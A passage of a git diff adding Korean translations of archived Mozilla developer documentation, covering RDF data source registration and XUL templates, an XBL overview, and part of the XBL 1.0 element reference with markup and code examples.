+<h4 id="RDF_.EC.BB.A4.EB.A7.A8.EB.93.9C" name="RDF_.EC.BB.A4.EB.A7.A8.EB.93.9C">RDF 커맨드</h4>
+<p><b>{{ mediawiki.external('커맨드의 종류와 커맨드를 구현한 이유 등을 설명') }}</b></p>
+<h3 id=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8_.EB.93.B1.EB.A1.9D.ED.95.98.EA.B8.B0" name=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8_.EB.93.B1.EB.A1.9D.ED.95.98.EA.B8.B0">데이터 소스 컴포넌트 등록하기</h3>
+<p>데이터 소스는 <a href="ko/XPCOM">XPCOM</a> 컴포넌트입니다. 따라서 다음과 같은 특징을 가집니다.</p>
+<ol>
+ <li>데이터 소스 구현체를 구분(identify)하기 위한 XPCOM
+  <i>
+   CLSID</i>
+ </li>
+ <li>DLL 내에 코드가 존재하는 (CLSID에 대응하는) 구현 클래스. DLL은 XPCOM &lt;tt&gt;components&lt;/tt&gt; 디렉토리 내에 존재해야 함.</li>
+ <li>저장소 내에 존재(instantiate)하기 위해 XPCOM
+  <i>
+   ProgID</i>
+  에
+  <i>
+   등록</i>
+  할
+  <i>
+   팩토리</i>
+  (factory)</li>
+</ol>
+<p>컴포넌트를 위해 DLL을 구성하는 방법에 대한 것은 이 문서의 범위를 넘어가므로 생략합니다. 이에 대한 내용은 <a class="external" href="http://lxr.mozilla.org/seamonkey/source/rdf/build/nsRDFFactory.cpp">the RDF factory</a>를 참조해 보기 바랍니다.</p>
+<p>RDF 데이터 소스를 등록하는 것은 꽤 간단합니다. DLL의 &lt;tt&gt;NSRegisterSelf()&lt;/tt&gt; 메소드에서
+ <i>
+  컴포넌트 관리자</i>
+ 의 &lt;tt&gt;RegisterComponent()&lt;/tt&gt; 메소드를 호출하기만 하면 됩니다.</p>
+<pre class="eval">extern "C" PR_IMPLEMENT(nsresult)
+NSRegisterSelf(nsISupports* aServiceManager, const char* aPath)
+{
+   nsresult rv;
+   ...
+   // compMgr 는 컴포넌트 관리자 객체를 참조하고 있다고 가정합니다.
+   rv = compMgr-&gt;RegisterComponent(kMyDataSourceCID,
+            "My Data Source",
+            NS_RDF_DATASOURCE_PROGID_PREFIX "my-datasource",
+            aPath, PR_TRUE, PR_TRUE);
+   ...
+}
+</pre>
+<p>&lt;tt&gt;kMyDataSourceCID&lt;/tt&gt; 를 당신의 CLSID 로 대체하고 &lt;tt&gt;"My Data Source"&lt;/tt&gt; 부분을 저장소에 표시될 데이터 소스에 대한 설명을 포함하는 문장으로 대체합니다. 마지막으로, &lt;tt&gt;"my-datasource"&lt;/tt&gt; 를 당신의 데이터 소스에 알맞은 값으로 바꿉니. 이 값은 &lt;tt&gt;"rdf:"&lt;/tt&gt; 라는 접두어가 붙은 경우
+ <i>
+  데이터 소스 ID</i>
+ 가 되고, &lt;tt&gt;<a class="external" href="http://lxr.mozilla.org/seamonkey/source/rdf/base/idl/nsRDFInterfaces.idl#384">nsIRDFService::GetDataSource()</a>&lt;/tt&gt; 메소드를 이용하여 RDF 서비스로부터 당신의 데이터 소스를 얻어오기 위해 사용됩니다. 예를 들어 위의 데이터 소스는 아래와 같은 방법으로 접근할 수 있습니다.</p>
+<pre class="eval">nsIRDFService* rdf;
+rv = nsServiceManager::GetService(kRDFServiceCID,
+          kIRDFServiceIID,
+          (nsISupports**) &amp;rdf);
+
+if (NS_SUCCEEDED(rv)) {
+    nsIRDFDataSource* myDataSource;
+    rv = rdf-&gt;GetDataSource("rdf:my-datasource",
+                 &amp;myDataSource);
+
+    if (NS_SUCCEEDED(rv)) {
+        // 이 부분에서 myDataSource 를 이용하여 원하는 작업을 수행합니다...
+        NS_RELEASE(myDataSource);
+    }
+    nsServiceManager::ReleaseService(kRDFServiceCID, rdf);
+}
+</pre>
+<h3 id="RDF.EC.9D.98_.EB.82.B4.EC.9A.A9.EC.9D.84_.ED.91.9C.EC.8B.9C.ED.95.98.EA.B8.B0" name="RDF.EC.9D.98_.EB.82.B4.EC.9A.A9.EC.9D.84_.ED.91.9C.EC.8B.9C.ED.95.98.EA.B8.B0">RDF의 내용을 표시하기</h3>
+<p>지금까지 당신이 가지고 있는 정보를 데이터 소스로 표현하기 위해 험난한 길을 헤져 왔다면, 이제 그 정보를 프로그램 상에
+ <i>
+  표시</i>
+ 하고 싶을 것입니다. <a class="external" href="http://www.mozilla.org/xpfe/languageSpec.html">XUL</a>을 이용하면, 데이터 소스의 내용을
+ <i>
+  트리 컨트롤</i>
+ 혹은
+ <i>
+  메뉴</i>
+ 또는
+ <i>
+  툴바</i>
+ 에 표시할 수 있습니다. 사실, <a href="ko/XUL/Template_Guide">XUL 템플릿</a>을 이용하면
+ <i>
+  어떠한</i>
+ 형태의 컨텐트 모델에도 RDF 의 내용을 표시할 수 있습니다.</p>
+<p>다음의 XUL 코드는 데이터 소스가 설명하는 자원(&lt;tt&gt;<a class="external" href="http://foo.bar.com/" rel="freelink">http://foo.bar.com/</a>&lt;/tt&gt;)을 "루트"로 하는 트리 컨트롤을 생성하는 방법을 설명합니다.</p>
+<pre class="eval">&lt;window
+  xmlns:html="<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"
+  xmlns:rdf="<a class="external" href="http://www.w3.org/TR/WD-rdf-syntax#" rel="freelink">http://www.w3.org/TR/WD-rdf-syntax#</a>"
+  xmlns="<a class="external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" rel="freelink">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a>"&gt;
+
+  &lt;tree <b>datasources="rdf:my-datasource" ref="<a class="external" href="http://foo.bar.com/" rel="freelink">http://foo.bar.com/</a>"</b>&gt;
+    <b>&lt;template&gt;</b>
+      <b>&lt;treechildren&gt;</b>
+        <b>&lt;treeitem uri="..."&gt;</b>
+          <b>&lt;treerow&gt;</b>
+            <b>&lt;treecell&gt;</b>
+              <b>&lt;text value="rdf:<a class="external" href="http://home.netscape.com/NC-rdf#Name" rel="freelink">http://home.netscape.com/NC-rdf#Name</a>" /&gt;</b>
+            <b>&lt;/treecell&gt;</b>
+            <b>&lt;treecell&gt;</b>
+              <b>&lt;text value="rdf:<a class="external" href="http://home.netscape.com/NC-rdf#URL" rel="freelink">http://home.netscape.com/NC-rdf#URL</a>" /&gt;</b>
+            <b>&lt;/treecell&gt;</b>
+          <b>&lt;/treerow&gt;</b>
+        <b>&lt;/treeitem&gt;</b>
+      <b>&lt;/treechildren&gt;</b>
+    <b>&lt;/template&gt;</b>
+
+    &lt;treehead&gt;
+      &lt;treeitem&gt;
+        &lt;treecell&gt;Name&lt;/treecell&gt;
+        &lt;treecell&gt;URL&lt;/treecell&gt;
+      &lt;/treeitem&gt;
+    &lt;/treehead&gt;
+
+    &lt;!-- treechildren은 여기에 빌드되어 있습니다. --&gt;
+  &lt;/tree&gt;
+
+&lt;/window&gt;
+</pre>
+<p>위에서 굵은 글씨로 표시된 중요한 "매직 속성"들은 다음과 같습니다:</p>
+<ul>
+ <li>
+  <p>&lt;tt&gt;datasources="rdf:my-datasource"&lt;/tt&gt;. 이것은 공백 문자로 구분되는 (위에서 설명한) 내부의 XPCOM 데이터 소스 "ID" 와 로컬이나 원격 RDF/XML 문서의 URI 들을 포함합니다. 목록에 포함된 각 데이터 소스는 로드되어 데이터 소스 내에 포함된 어서션(assertion)들이 트리 콘트롤을 구성하여 표시될 것입니다.</p>
+ </li>
+ <li>
+  <p>&lt;tt&gt;ref="<a class="external" href="http://foo.bar.com/" rel="freelink">http://foo.bar.com/</a>"&lt;/tt&gt;. 이것은 당신의 컨텐츠 모델 내의 그래프의 루트가 됩니다. &lt;tt&gt;tree&lt;/tt&gt; 태그는 &lt;tt&gt;<a class="external" href="http://foo.bar.com/" rel="freelink">http://foo.bar.com/</a>&lt;/tt&gt; 라는 값의 &lt;tt&gt;ID&lt;/tt&gt; 속성을 가진 것처럼 처리됩니다.</p>
+ </li>
+ <li>
+  <p>&lt;tt&gt;&lt;template&gt;...&lt;/template&gt;&lt;/tt&gt;. 그래프로 부터 컨텐츠를 구성하는 XUL
+   <i>
+    템플릿</i>
+   입니다. &lt;tt&gt;tree&lt;/tt&gt; 원소에 해당하는 자원(여기서는 &lt;tt&gt;<a class="external" href="http://foo.bar.com/" rel="freelink">http://foo.bar.com/</a>&lt;/tt&gt;에 해당합니다)을 지정하는 것으로 시작해서, 그래프를 순회하여 &lt;tt&gt;template&lt;/tt&gt; 태그 내에 지정된 패턴들을 사용해서 컨텐츠를 구성합니다.</p>
+ </li>
+</ul>
+<p>RDF에서 어떻게 컨텐츠가 구성되는지에 대한 자세한 설명을 원한다면 <a href="ko/XUL/Template_Guide">XUL 템플릿 가이드</a> 문서를 살펴보기 바랍니다.</p>
+<hr>
+<p><br>
+ 연락처: <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a> <a class="link-mailto" href="mailto:(waterson@netscape.com)" rel="freelink">(waterson@netscape.com)</a></p>
+<div class="originaldocinfo">
+ <h2 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원본 문서 정보</h2>
+ <ul>
+  <li>저자: <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a></li>
+  <li>최종 변경일: 2000년 6월 19일</li>
+  <li>저작권: Copyright (C) <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/ko/archive/mozilla/xbl/index.html b/files/ko/archive/mozilla/xbl/index.html
new file mode 100644
index 0000000000..1dcff4d284
--- /dev/null
+++ b/files/ko/archive/mozilla/xbl/index.html
@@ -0,0 +1,32 @@
+---
+title: XBL
+slug: Archive/Mozilla/XBL
+tags:
+  - XBL
+translation_of: Archive/Mozilla/XBL
+---
+<p><b>XML Binding Language</b>(<b>XBL</b>, 종종 Extensible Bindings Language로도 불림)는 다른 문서의 요소에 덧붙일 수 있는 바인딩을 기술하는 언어입니다. 바인딩이 덧붙는 요소는 "바운드 요소"라 부르고 바인딩이 지정한 새 behavior를 얻습니다.</p>
+<p>바인딩은 바운드 요소에 등록되는 이벤트 핸들러, 바운드 요소로부터 접근하게 되는 새 메소드와 특성(property)의 구현, 바운드 요소 아래에 끼워 넣는 익명(anonymous) 컨텐트를 포함할 수 있습니다.</p>
+<p>대다수의 <a href="ko/XUL">XUL</a> 위젯이 적어도 일부분은 XBL를 써서 구현됩니다. XBL을 써서 기존 <a href="ko/XUL">XUL</a>, <a href="ko/HTML">HTML</a>, <a href="ko/SVG">SVG</a>, 그 밖의 다른 원시 요소(primitive)에서 재사용 가능한 위젯을 빌드할 수 있습니다.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<p>XBL 1.0은 <a href="ko/XBL/XBL_1.0_Reference">XBL 1.0 레퍼런스</a>에 명기되어 있습니다. 불행하게도, Mozilla의 실제 구현은 명세와 다르며 그 차이를 기술한 문서는 아직 알려지지 않았습니다. 레퍼런스가 이 차이를 기술하도록 갱신되기를 희망합니다.</p>
+<p>XBL 1.0은 Mozilla만의 기술이고 <a class="external" href="http://w3.org/">W3C</a> 표준이 아닙니다. 그러나, 적어도 두 개의 표준(sXBL과 XBL 2.0)이 작업 중에 있습니다.</p>
+<ul>
+ <li>W3C <a class="external" href="http://w3.org/TR/sXBL/">sXBL</a>(현재 working draft)은
+  <i>
+   SVG's XML Binding Language</i>
+  를 뜻합니다. <a href="ko/SVG">SVG</a>에 필요한 XBL 2.0 기능의 부분 집합(subset)을 포함할 예정입니다. Mozilla의 XBL과 비슷한 목적을 가지고 있으나 미묘한(또 그리 미묘하지 않은) 차이가 몇 가지 있습니다. 예를 들면, 요소의 이름이 다릅니다. 또한 sXBL은 바인딩 상속과 바운드 요소에 메소드/속성을 정의하는 것 같이 XBL에 있는 몇몇 기능이 빠져 있습니다.</li>
+</ul>
+<ul>
+ <li><a class="external" href="http://www.mozilla.org/projects/xbl/xbl2.html">XBL 2.0</a>(<a class="external" href="http://w3.org/TR/XBL/">W3C working draft</a>)은 XBL 1.0에서 발견한 문제점을 처리하고 더 많은 웹 브라우저를 지원하도록 개발하고 있습니다.</li>
+</ul>
+<p>sXBL과 XBL2 사이의 차이는 <a class="external" href="http://annevankesteren.nl/2005/11/xbl">Anne van Kesteren의 글</a>에 나열되어 있습니다.</p>
+<h3 id=".EB.8D.94_.EB.B3.B4.EA.B8.B0" name=".EB.8D.94_.EB.B3.B4.EA.B8.B0">더 보기</h3>
+<ul>
+ <li><a href="ko/XUL_Tutorial/Introduction_to_XBL">Introduction to XBL</a> from the <a href="ko/XUL_Tutorial">XUL Tutorial</a>.</li>
+ <li><a class="external" href="http://mb.eschew.org/15.php">XBL chapter</a> of <a class="external" href="http://mb.eschew.org/">"Rapid Application Development with Mozilla"</a></li>
+</ul>
+<ul>
+ <li><a>More XBL resources...</a></li>
+</ul>
+<p></p>
diff --git a/files/ko/archive/mozilla/xbl/xbl_1.0_reference/elements/index.html b/files/ko/archive/mozilla/xbl/xbl_1.0_reference/elements/index.html
new file mode 100644
index 0000000000..9f0eab90c9
--- /dev/null
+++ b/files/ko/archive/mozilla/xbl/xbl_1.0_reference/elements/index.html
@@ -0,0 +1,387 @@
+---
+title: Elements
+slug: Archive/Mozilla/XBL/XBL_1.0_Reference/Elements
+translation_of: Archive/Mozilla/XBL/XBL_1.0_Reference/Elements
+---
+<p> </p>
+<h2 id="bindings" name="bindings">bindings</h2>
+<p><span class="comment">This section is tested and adjusted for the current Firefox implementation. Please edit only if an actual behavior differs from the described one. Please do not edit only on the basis of another XBL specification.</span></p>
+<pre>&lt;!ELEMENT bindings ( binding* ) &gt;
+
+Hierarchy:   root element
+May contain: &lt;binding&gt;
+</pre>
+<p>The <code>bindings</code> element is the root element of any XBL document. It should usually declare XBL as the default namespace (unless an XBL namespace prefix is used) and it may additionally declare other namespace prefixes used in your binding.</p>
+<p><code>bindings</code> contains zero or more <code><a href="ko/XBL/XBL_1.0_Reference/Elements#binding">binding</a></code> elements as children. Each <code><a href="ko/XBL/XBL_1.0_Reference/Elements#binding">binding</a></code> child element defines a unique binding that can be attached to elements in other documents.</p>
+<p>An element can have only one binding attached (explicitly or inherited) at one moment. From several bindings only the last in the sequence will be used (like with any CSS rule).</p>
+<pre>HelloWorld example:
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Hello world!&lt;/title&gt;
+&lt;style type="text/css"&gt;
+p {
+ -moz-binding: url(hello.xml#default);
+}
+#p03 {
+ -moz-binding: url(hello.xml#hello2);
+}
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body
+
+  &lt;p&gt;Default content&lt;/p&gt;
+  &lt;p&gt;Default content&lt;/p&gt;
+  &lt;p id="p03"&gt;Default content&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+
+// hello.xml
+
+&lt;?xml version="1.0"?&gt;
+&lt;bindings xmlns="http://www.mozilla.org/xbl"
+ xmlns:html="http://www.w3.org/1999/xhtml"&gt;
+  &lt;binding id="default"&gt;
+    &lt;content&gt;&lt;html:b&gt;Hello world! &lt;/html:b&gt;&lt;children/&gt;&lt;/content&gt;
+  &lt;/binding&gt;
+  &lt;binding id="hello2"&gt;
+    &lt;content&gt;&lt;html:b&gt;Hello from my binding! &lt;/html:b&gt;&lt;children/&gt;&lt;/content&gt;
+  &lt;/binding&gt;
+&lt;/bindings&gt;
+</pre>
+<p><a class="external" href="http://www.nskom.com/external/xbl/mdc/HelloWorld.html">View this example</a></p>
+<p>Next: <code>&lt;big&gt;bindings &gt; <a href="ko/XBL/XBL_1.0_Reference/Elements#binding">binding</a>&lt;/big&gt;</code> element.</p>
+<h3 id="Notes" name="Notes">Notes</h3>
+<ul>
+ <li>In the current stable releases of Mozilla products (e.g. Firefox 2) it is impossible to attach bindings to table sub-elements (rows, cells etc.) You can attach binding only to the table element itself. This has been fixed for future versions of Mozilla products. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=83830" title="FIXED: Binding TD cells (with XBL) doesn't work, at all">bug 83830</a> for more information and for workarounds.</li>
+ <li>Default encoding in XML documents (including XBL files) is UTF-8. An explicit encoding declarations may be present to override the default, for example <code>&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;</code></li>
+ <li>URI in namespace declarations is an opaque string used to uniquely identify the namespace. It doesn't have to (and often it doesn't) point to some actual schema or a namespace-related resource. <a class="external" href="http://www.w3.org/TR/REC-xml-names/#ns-decl">Namespaces in XML</a></li>
+ <li>Besides the default namespace, you can declare any amount of additional namespaces to handle your content. The most useful namespaces could be HTML/XHTML, <a href="ko/XUL">XUL</a> (XML User Interface Language), <a href="ko/SVG">SVG</a> (Scalable Vector Graphics) and <a class="external" href="http://www.w3.org/TR/xlink/">XLink</a>. This way a more-or-less universal namespace declaration in your <code>bindings</code> could be like:</li>
+</ul>
+<pre>&lt;bindings xmlns="http://www.mozilla.org/xbl"
+ xmlns:html = "http://www.w3.org/1999/xhtml"
+ xmlns:xul  = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ xmlns:svg  = "http://www.w3.org/2000/svg"
+ xmlns:xlink= "http://www.w3.org/1999/xlink"&gt;
+</pre>
+<h2 id=".EB.B0.94.EC.9D.B8.EB.94.A9" name=".EB.B0.94.EC.9D.B8.EB.94.A9">바인딩</h2>
+<pre>&lt;!ENTITY % binding-content "(resources?,content?,implementation?,handlers?)"&gt;
+&lt;!ELEMENT binding %binding-content;&gt;
+&lt;!ATTLIST binding
+   id                     ID             #REQUIRED
+   extends                CDATA          #IMPLIED
+   display                CDATA          #IMPLIED
+   inheritstyle           true           #IMPLIED
+&gt;
+</pre>
+<p><code>binding</code> 요소는 단일 XBL 바인딩을 기술합니다. XBL 바인딩은 HTML/XML 요소에
+ <i>
+  <a href="ko/XBL/XBL_1.0_Reference/Elements#_content">anonymous content</a></i>
+ ,
+ <i>
+  <a href="ko/XBL/XBL_1.0_Reference/Elements#field">fields</a></i>
+ ,
+ <i>
+  <a href="ko/XBL/XBL_1.0_Reference/Elements#property">properties</a></i>
+ ,
+ <i>
+  <a href="ko/XBL/XBL_1.0_Reference/Elements#method">methods</a></i>
+ ,
+ <i>
+  <a href="ko/XBL/XBL_1.0_Reference/Elements#handlers">event handlers</a></i>
+ 를 추가할 수 있습니다.</p>
+<p>단일 XBL 바인딩은 스타일 시트나 스크립팅을 사용하여 요소에 붙일 수 있습니다 (&lt;table&gt;에 특정한 사항은 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=83830" title="FIXED: Binding TD cells (with XBL) doesn't work, at all">bug 83830</a>를 참고하십시오).</p>
+<p>CSS:</p>
+<pre>div {
+ -moz-binding: url(myBinding.xml#default);
+}
+</pre>
+<p>DOM:</p>
+<pre>elementReference.style.MozBinding = "url(myBinding.xml#default}";
+</pre>
+<p>위의 두 가지 경우 모두는 <code>myBinding.xml</code>에 포함된 <code>id="default"</code>를 가진 바인딩을 사용하고 있습니다.</p>
+<p> Firefox 3부터는 바인딩을 인라인으로 삽입하기 위해 <code>data:</code> URL을 사용할 수 있습니다.</p>
+<pre>div {
+  -moz-binding: url(data:text/xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3Cbindings%20id%3D%22xbltestBindings%22%20xmlns%3D%22http%3A//www.mozilla.org/xbl%22%3E%0A%20%20%3Cbinding%20id%3D%22xbltest%22%3E%3Ccontent%3EPASS%3C/content%3E%3C/binding%3E%0A%3C/bindings%3E%0A);
+}
+</pre>
+<p><code>data:</code> URL은 부분 식별자(fragment identifier)를 지원하지 않기 때문에 대신 삽입된 XML에서 발견한 첫 번째 바인딩을 사용합니다. 바인딩은 참조하지 않더라도 아이디가 있어야 한다는 점을 염두해 두십시오.</p>
+<p>앞선 예제의 삽입된 XML은 다음과 같습니다.</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;bindings id="xbltestBindings" xmlns="http://www.mozilla.org/xbl"&gt;
+  &lt;binding id="xbltest"&gt;&lt;content&gt;PASS&lt;/content&gt;&lt;/binding&gt;
+&lt;/bindings&gt;
+</pre>
+<p>CSS 선언만이 바인딩을 임의의 요소 집합에 붙이는 쉬운 방법을 제공합니다. 이는 또한 스크립팅이 비할성화되어 있을 때 바인딩이 부분적으로 동작하게 만듭니다. 이 경우 모든 메소드와 핸들러는 차단되지만 익명의 내용과 스타일은 계속 사용됩니다. 그러므로 실행 중에 개별 요소에 바인딩을 추가할 필요가 없다면 항상 CSS 선언을 사용해야 합니다.</p>
+<p><code>binding</code> 요소는 <a href="ko/XBL/XBL_1.0_Reference/Elements#resources">resources</a> 태그, <a href="ko/XBL/XBL_1.0_Reference/Elements#_content">content</a> 태그, <a href="ko/XBL/XBL_1.0_Reference/Elements#implementation">implementation</a> 태그, <a href="ko/XBL/XBL_1.0_Reference/Elements#handlers">handlers</a> 태그를 포함할 수 있습니다.</p>
+<ul>
+ <li><code><b>id</b></code> - <code>id</code> 속성은 문서에서 유일한(document-unique) 식별자입니다. <code>binding</code> 요소에서 이 속성은 바인딩을 붙이는데 사용되므로 꼭 필요합니다.</li>
+ <li><code><b>extends</b></code> - <code>extends</code> 속성은 이 바인딩이 물려 받은 바인딩의 URL을 지정하는데 사용합니다 (<a href="ko/XBL/XBL_1.0_Reference/Binding_Implementations#Inheritance_of_Implementations">Inheritance of Implementations</a> 참고). URL은 특정한 바인딩 문서를 지정합니다. 바인딩 문서 내에서 특정 바인딩 <code>id</code>를 가리키려면 # 표시를 꼭 사용해야 합니다. 내용은 상속할 수 없으며 동작만 상속된다는 점에 주의하십시오.</li>
+ <li><code><b>display</b></code> - 이 속성은 태그가 표시되는 방법을 지정합니다. 이 속성을 지정함으로써 기존 요소의 레이아웃과 표시 특성을 가진 요소를 가질 수 있습니다. 예를 들어, 'xul:button' 값을 사용하면 버튼처럼 표시되는 요소를 생성할 수 있습니다. 콜론 이전의 부분은 이름 공간 접두어이므로 XUL 이름 공간도 정의해야 합니다. 다음 XML 표시 형식을 사용할 수 있습니다: browser, button, checkbox, description, editor, grippy, iframe, image, label, menu, menuitem, menubar, progressmeter, radio, resizer, scrollbar, scrollbox, spacer, splitter, titlebar, treechildren, treecol. 또한 다수의 HTML, MathML, SVG 태그를 사용할 수 있습니다. 'display' 속성은 <code>extends</code> 속성이 지정되지 않으면 동작하지 않는데, 이는 버그 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=119389" title="display= doesn't work if extends= is not present">bug 119389</a>를 참고하십시오. 이러한 경우에는 <code>display</code> 속성의 값을 <code>extends</code>에 넣으십시오.</li>
+ <li><code><b>inheritstyle</b></code> - <code>inheritstyle</code> 속성은 문서의 스타일 규칙이 XBL 바인딩이 생성한 익명의 내용에 영향을 미칠 것인지 가리킵니다. 속성이 true이면 문서의 스타일은 XBL이 생성한 익명의 내용에도 영향을 미칩니다.</li>
+</ul>
+<p> </p>
+<h2 id="content" name="content">content</h2>
+<pre>&lt;!ELEMENT content ANY&gt;
+&lt;!ATTLIST content
+   id               ID           #IMPLIED
+&gt;
+</pre>
+<p>A binding can specify new content that is placed inside the bound element. Although you can see this content on screen as if it was directly in the file, this content is anonymous and is hidden from the normal <a href="ko/DOM">DOM</a>. To access anonymous nodes on an XBL bound element, you can use the <a href="ko/XBL/XBL_1.0_Reference/DOM_Interfaces#getAnonymousElementByAttribute">getAnonymousElementByAttribute</a> and <a href="ko/XBL/XBL_1.0_Reference/DOM_Interfaces#getAnonymousNodes">getAnonymousNodes</a> functions. The only XBL element that can appear inside the content tag is the <a href="ko/XBL/XBL_1.0_Reference/Elements#children">children</a> tag. Attributes on the &lt;content&gt; element in the binding are set on the bound element.</p>
+<ul>
+ <li><code><b>id</b></code> - The id attribute is a document-unique identifier.</li>
+</ul>
+<h2 id="children" name="children">children</h2>
+<pre>&lt;!ELEMENT children EMPTY&gt;
+&lt;!ATTLIST children
+   id               ID                           #IMPLIED
+   includes         CDATA                        #IMPLIED
+&gt;
+</pre>
+<p>Specifies the location where any child elements of the bound element are placed in the generated content.</p>
+<p>Normally, if the element bound to has its own content, the anonymous content is not generated. However, with a <code>children</code> element, you can merge the content from the HTML/XML element and the XBL content.</p>
+<p>If the children tag contains content itself, that content will become the default content. If the element the binding is attached to contains content, the default content will be ignored. If the element does not contain content, the default content will be added.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+ <li><code><b>includes</b></code> - The <code>includes</code> attribute can be used to indicate that only certain content should be placed at the insertion point specified by the <code>children</code> element. Its value can be a tag name or multiple tag names separated by commas. A child can only be placed within the insertion point if it is matched by the value in the <code>includes</code> attribute. Only immediate children are matched against the selector. For example, an XML fragment <code>&lt;customElement&gt;&lt;foobar&gt;&lt;hoge/&gt;&lt;/foobar&gt;&lt;/customElement&gt;</code> with an binding definition <code>&lt;binding id="customElement"&gt;&lt;content&gt;&lt;xul:box&gt;&lt;children includes="hoge"/&gt;&lt;/xul:box&gt;&lt;/content&gt;&lt;/binding&gt;</code> for the <code>customElement</code> element, <code>&lt;xul:box/&gt;</code> becomes empty because the selector <code>includes="hoge"</code> doesn't match for the immediate child <code>foobar</code> element.</li>
+</ul>
+<h2 id="implementation" name="implementation">implementation</h2>
+<pre>&lt;!ENTITY % implementation-content "(method|property)*"&gt;
+&lt;!ELEMENT implementation %implementation-content;&gt;
+&lt;!ATTLIST implementation
+   id               ID           #IMPLIED
+   name             CDATA        #IMPLIED
+   implements       CDATA        #IMPLIED
+&gt;
+</pre>
+<p>The <code>implementation</code> element describes the set of methods and properties that are attached to the bound element. Once the binding is attached, these methods and properties can be invoked directly from the bound element.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+ <li><code><b>name</b></code> - The <code>name</code> attribute can be used to provide a specific name for an implementation. This name can then be used to reference the implementation. For example, in JavaScript the value of this attribute represents the name of the corresponding class that is constructed for the implementation. If no name attribute is specified then the binding's document URI and id are used to uniquely reference the binding's implementation.</li>
+ <li><code><b>implements</b></code> - The <code>implements</code> attribute can be used to describe the set of interfaces that are implemented by the binding. Its value is a comma-separated list of named interfaces. If supported, in strongly typed languages the bound element can be referenced not only as any of the interfaces that the element might already support (e.g., HTMLElement) but also as any of the interfaces described by this attribute. Support of this capability is optional.</li>
+</ul>
+<h2 id="constructor" name="constructor">constructor</h2>
+<p>The code inside the <code>constructor</code> is called when a <code>binding</code> has just been attached to an element. So full access to anonymous nodes generated by the binding is already possible. The <code>constructor</code> tag must be placed inside the <code>implementation</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+</ul>
+<div class="note">
+ <b>Note:</b>  Prior to Firefox 3, the constructor could be called at a time when reflow of the document layout was locked down, so that attempting to get layout information from within the constructor could return out of date information. In Firefox 3 and later, the constructor is called when reflow can take place, which results in up-to-date information being returned. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=398404" title="FIXED: [FIX]Disallow reflow while processing constructors">bug 398404</a> for details.</div>
+<h2 id="destructor" name="destructor">destructor</h2>
+<p>The code inside the <code>destructor</code> is called when a <code>binding</code> is being removed from an element. You can use this to unload resources to free memory. However the <code>destructor</code> is often not called when it should, see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=230086" title="Destructor of XBL element isn't called when I remove this element from DOM">bug 230086</a>. The <code>destructor</code> tag must be placed inside the <code>implementation</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+</ul>
+<h2 id="method" name="method">method</h2>
+<pre>&lt;!ENTITY % method-content "(parameter*,body?)"&gt;
+&lt;!ELEMENT method %method-content;&gt;
+&lt;!ATTLIST method
+   id               ID           #IMPLIED
+   name             CDATA        #REQUIRED
+   type             CDATA        #IMPLIED
+&gt;
+</pre>
+<p>The <code>method</code> element is used to describe a single method of a binding implementation.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+ <li><code><b>name</b></code> - The <code>name</code> attribute's value is the name given to the method when it is attached to the bound element. The method can be invoked directly from the bound element using this value.</li>
+</ul>
+<p>
+ <i>
+  Example</i>
+</p>
+<pre>&lt;method name="scrollTo"&gt;
+  &lt;parameter name="index"/&gt;
+  &lt;body&gt;
+    this.setAttribute("scrollpos", index);
+  &lt;/body&gt;
+&lt;/method&gt;
+</pre>
+<h2 id="parameter" name="parameter">parameter</h2>
+<pre>&lt;!ELEMENT parameter EMPTY&gt;
+&lt;!ATTLIST parameter
+   id               ID           #IMPLIED
+   name             CDATA        #REQUIRED
+&gt;
+</pre>
+<p>The <code>parameter</code> element is used inside a <code>method</code> element. It represents a single parameter of a method.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+ <li><code><b>name</b></code> - The value of the <code>name</code> attribute is used by script within a method's <code>body</code> element to reference this parameter.</li>
+</ul>
+<h2 id="body" name="body">body</h2>
+<pre>&lt;!ELEMENT body CDATA&gt;
+&lt;!ATTLIST body
+   id               ID           #IMPLIED
+&gt;
+</pre>
+<p>The <code>body</code> element represents the implementation of its corresponding <code>method</code>. Its contents are the script that is executed when the method is invoked.</p>
+<ul>
